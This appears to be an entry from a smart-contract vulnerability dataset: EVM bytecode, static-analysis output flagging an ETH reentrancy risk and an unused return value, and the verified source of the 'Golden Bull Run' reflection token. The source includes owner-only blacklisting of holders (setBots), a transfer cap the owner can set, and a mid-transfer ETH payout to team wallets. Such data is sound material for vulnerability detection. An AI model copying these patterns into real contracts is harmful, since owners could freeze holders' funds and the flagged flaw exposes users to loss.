f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600a54905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600a54611e5f90919063ffffffff16565b82101561216057600a546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600c54600d54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f82600a546121d590919063ffffffff16565b600a8190555061236a81600b5461221f90919063ffffffff16565b600b819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5022e6aba06bd94f162b06545526b55de19ba72e1eaab25236175809d701a5b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,412
0x0b88905c19b1c9d60695141cd82c3f98d8eb1738
/** *Submitted for verification at Etherscan.io on 2021-07-02 */ /* The Golden Bullrun 888, a Frictionless Fortune bringing token! Telegram: https://t.me/GoldenBullRun888 Twitter: https://twitter.com/888BullOfficial Website: https://888bull.io/ */ //SPDX-License-Identifier: Unlicensed pragma solidity ^0.6.12; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract GoldenBullRun is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; mapping (address => bool) private bots; mapping (address => uint) private cooldown; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1* 10**12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Golden Bull Run"; string private constant _symbol = 'BULL888️'; uint8 private constant _decimals = 9; uint256 private _taxFee = 2; uint256 private _teamFee = 8; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress, address payable marketingWalletAddress) public { _FeeAddress = FeeAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; _isExcludedFromFee[marketingWalletAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } if(from != address(this)){ require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { if(cooldownEnabled){ require(cooldown[from] < block.timestamp - (330 seconds)); } swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280600f81526020017f476f6c64656e2042756c6c2052756e0000000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d9660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123089092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf816123c8565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124c3565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f42554c4c383838efb88f00000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73f